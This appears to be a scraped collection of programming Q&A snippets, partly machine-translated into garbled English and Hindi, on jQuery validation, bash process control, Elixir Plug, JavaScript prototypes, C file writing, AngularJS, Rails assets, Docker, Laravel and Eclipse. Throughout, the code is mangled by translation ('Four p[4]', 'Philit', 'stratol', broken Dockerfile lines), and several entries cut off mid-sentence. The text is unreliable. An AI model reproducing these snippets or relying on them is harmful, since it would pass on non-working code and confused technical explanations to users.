I have the following code, which is & lt; Select & gt; selects elements that are not selected and save form submissions, if any. $ ("form"). Submit (function () selects {var count = 0; var, not value = $ ("select: visible"). (Function () {if (! This.value.length) {sel = this.name ; If (count == 0) {alert ('error' + sel); ++ count;}} return! This.value length;}); Return! Select withNoValue.length;}); Full code what is unaffiliated & lt; & lt; Div & gt; It is possible to find ; Select & gt; and 'flash' ( can be a pair of quick flash, or as long as the user does not click inside Highlighting) What user should modify the entry? I have tried: $ (this) .clostest ("div"). Effects ("Highlights", {}, 3000); Using this code does not work - Required & lt; Div & gt; does not flash and this code submits the form even if the selection is not set. Any ideas how to do that? Y...

bash - start and end shellscript for multiple programs -

निम्नलिखित समस्या: 3 प्रोग्राम: एक जावा आवेदन एक ग्रन्ट सर्वर मैं 2 शैल स्क्रिप्ट लिखना चाहता हूँ, पहले चाहिए सभी 3 कार्यक्रम शुरू करें दूसरा उन्हें खत्म करना चाहिए। पहली स्क्रिप्ट के लिए मैं केवल शुरुआती आदेशों को कॉल करता हूं। लेकिन दूसरे के लिए, जो एक स्टैंडअलोन लिपि (जैसा पहला होना चाहिए) होना चाहिए, मुझे उन सभी को मारने के लिए सभी प्रक्रिया आईडी पता होना चाहिए। लेकिन यहां तक ​​कि अगर मैं इन आईडी को जानता हूं, तो क्या होगा जब वे उप प्रक्रिया शुरू करें मैं सिर्फ इन मूल प्रक्रियाओं को मार दूंगा, क्या मैं नहीं? यहां क्या दृष्टिकोण है? धन्यवाद अग्रिम में! कोशिश करें pkill -P -KILL [parentid] । इसके लिए नामित अभिभावक आईडी के साथ प्रक्रियाओं को मारना चाहिए।

phoenix framework - What is Elixir Plug? -

Generally speaking as a newcomer for both alixir and web domain (no web framework experience) I would like to know, what is the plug? As I think the cowboy is a web server (although not Elikang not Amiksr) and a framework for the creation of Phoenix Web application, but comes where plug? Is there an intangible layer between the two or perhaps one plug-in system in the same intangible layer as Phoenix? "post-text" itemprop = "text"> Is it an intangible layer between the two Yes, of course! Plug means to be a generic adapter for different web servers, we currently only support cowherd but work to support others. The plug also defines how different components should be plugged together. Rack in Ruby, WSGI in Python, Ring in the Closer, and so on.

Class inheritance with method in javascript -

I'm new to javascript app development. When I came up with the function and I have found a code for all function perarizer (value) {console.log (this.setValue ()); } Parenizor.method ('setValue', function () {console.log ('called');}); Parenizor.method ('getValue', function () {return1;}); Parenizor.method ('toString', function () {return2;}); And when I type the function var a = new paragere (1) A. SetValue () It gives me an error such as not a function undefined .. why is it ?? I hope that someone here can find my fault..धन्यवाद .. :) it seems That your code comes by Douglas Crockford. I think you have not read this part: To create examples of work above, I wrote four methods, firstly, the method method, which combines an example method for a class. function.propytip.mission = function (name, fanc) {this.prototype [name] = fancy; This return; };

linux - Write hexadecimal to file in C (not ASCII) -

I am trying to convert some binary string to hexadecimal values ​​and write it directly in the file. I mean the value should be visible only by the hex editor and I do not care about the ASCII text in the file. Here is a part of my code: unsigned int value; Four p [4]; File * FP; Fp = fopen ("file.txt", "wb +"); // sprintoff (p, "\\ x% x", hex); Value = stratol ("10010011", tap, 2); Philit (& amp; Mann, Stellen (P), 1, FP); // fright (p, stellon (p), 1, fp); I try to use the filler to write the file, it starts working, but it will write 4 bytes instead of 1 byte hex (00 to padding) I " Tried to print the string starting with "x" and tried to write the file string (comment this piece of code), but it will write to write "\ x" to write in the ASCII format which is not me needed. Does anyone know how to do this or what is wrong with my code? Thank you. Do not use strlen , because gives length which is...

angularjs - Creating an AuthService to check if user is logged in -

मेरे पास एक AngularJS ऐप है जो एक Laraval PHP बैकएंड के साथ संचार करता है। / api / checklogin के लिए एक GET अनुरोध भेजा जा रहा है {लॉग इन किया गया है: गलत, उपयोगकर्ता नाम: अपरिभाषित, आईडी: अपरिभाषित} यदि उपयोगकर्ता लॉगिन नहीं है, अन्यथा, {लॉग इनः सच, यूज़रनेम: 'जॉन', आईडी: 123} । जैसे कुछ वापस लौटें। मैं एंजरीआरएस सेवाओं का उपयोग करने से परिचित नहीं हूँ, लेकिन मैं सेट अप करना चाहता हूं AuthService नामक एक सेवा जो अच्छी तरह से, मेरे ऐप की प्रमाणीकरण सेवाओं को कर सकती है। मैं निम्नलिखित फ़ंक्शंस को लागू करना चाहूंगा: AuthService.loggedIn , AuthService.isAdmin , AuthService.username , और AuthService.id । मैं इन कार्यों को ऐसे तरीके से कार्यान्वित करना चाहता हूं बुला एक सभी सभी के लिए मूल्य निर्धारित करेगा उदाहरण के लिए, मान लें कि मैं AuthService.isAdmin को कॉल करता हूं। यह फ़ंक्शन जांचता है कि यदि isAdmin सेट है, तो ऐसा है, यह isAdmin का मान वापस करेगा यदि isAdmin सेट नहीं है, तो यह / api / checklogin को एक HTTP अनुरोध कर देगा, loggedIn के लिए मान ...

ruby on rails - After asset precompiling webpage lost all design -

Recently I changed my app's environment to production, then there was an error message in my log file. ActionView :: Template :: error (jquery.fancybox.pack.js is not precompiled): So I tried to execute Rake property: precompile , but nothing happened, the error remained the same. In the stack overflow, I want this code to be production.rb config.assets.precompile & lt; Then I press the property: precompile again now I got some action: with property: /home3/ecotec11/rails_apps/technorent/app/assets/javascripts/active_admin.js Including property: / home3 / ecotec11 / rails_apps / technorent / asset / Assets / Javascript / ga.js include: /home3/ecotec11/rails_apps/technorent/app/assets/javascripts/jquery-1.9.1.min.js .... Excluding Property: /home3/ecotec11/rails_apps/technorent/vendor/bundle/ruby/1.9.3/gems/tinymce-rails-3.5.9/vendor/assets/javascripts/tinymce Exclude Property /themes/advanced/skins/highcontrast/ui.css: /home3/ecotec11/rails_apps/tech...

Docker: In Dockerfile, copy files temporarily, but not for final image -

I have a Java service that I would like to package, and the only thing that is the jar file of the last dock image is Config file However, first of all, I need to run my gradle command to create JAR, but I should not do that the gradle result uses the Docker image. Here is my current Dockerfile: Get the update exactly & amp; Apt-get install -y openjdk-7-jdk Copy / run ./gradlew shadowJar CMD ["java", "-zer", "service / build / lbs / service.jar", "server", "service / service .imil "] You can see that I have to do the copy first so that I can . / Gradlew (otherwise it says that the command can not be found). But in the end, I only need all the service.jar and service.yml files. I'm probably missing something, but how do I . / Gradlew can provide everything during the build phase, but only the result image includes service.jar and service.yml . An image creation is as follows: ... Docker The bu...

php - Laravel - Querybuilder with join and concat -

Trying to drag all the users from the users table, which matches a certain group in users_groups pivot table. I am using Centri 2 from Cartelist BTID. This works together with all users first and last names. User :: Select ('full_name' as' DB :: raw ('CONCAT (last_name,', 'first_name'), 'id') - & gt; Where ('active', '=', '1') - & gt; Order By ('last_name') - & gt; Lists ('full_name', 'id'); When I try to change it to filter users who are not related to any specific group, I get a syntax error. User :: Select (DB :: Raw ('SELECT CONCAT (user.last_name,', 'user.first_name'), 'user.full_name'), 'user.id' , 'Users_groups.group_id', 'users_groups.user_id') - & gt; Join ('Users_groups', 'user.id', '=', 'users_groups.user_id') - & gt; Where ('user.activated', '=', '1') - ...

text - Eclipse move the cursor left/right/up/down without using arrow keys -

Image
I am very lazy and hate that I have to move my right hand in arrow keys or mouse every 5 seconds Edit the cursor and text around. Is there any way that I can keep my hands in a typing position and move the cursor around? You can change the settings in the specific preferences window: Windows - & gt; Preferences- & gt; General & gt; key. There you can find this organization: Line up Bottom line Next column Previous column In the binding, press your button, then you can choose which keystroke to assign: For example: alt + j & lt; Alt = l alt + i line up alt + k line below alt + l - & gt; Colum

angularjs - dynamically setting kendo window title and content in angular then open window when a button on the form is clicked -

Here is the basic scenario: Next to some of my farm fields, I have a small button with a question mark image. If the user clicks the button, then I want to display the help message for that particular field, using the Condo window. I want to set the Title of the model window in the relevant form field name, and I want to set the window content with the help message for that field The code below is the example I would like to create: If you click on the ng-click button, then the Open () method of the window-window is being applied but the title is static From the k-title is set to the variable of that circle Turned to progress. I need to start a function in my controller, which will replace $ scope.helpTitle and $ scope.helpContent in that form field On the basis the user is asking, and then open the window. To set the dynamically "path of angles" is the title and content of that model modal window on which the user is seeking help and then opens the window...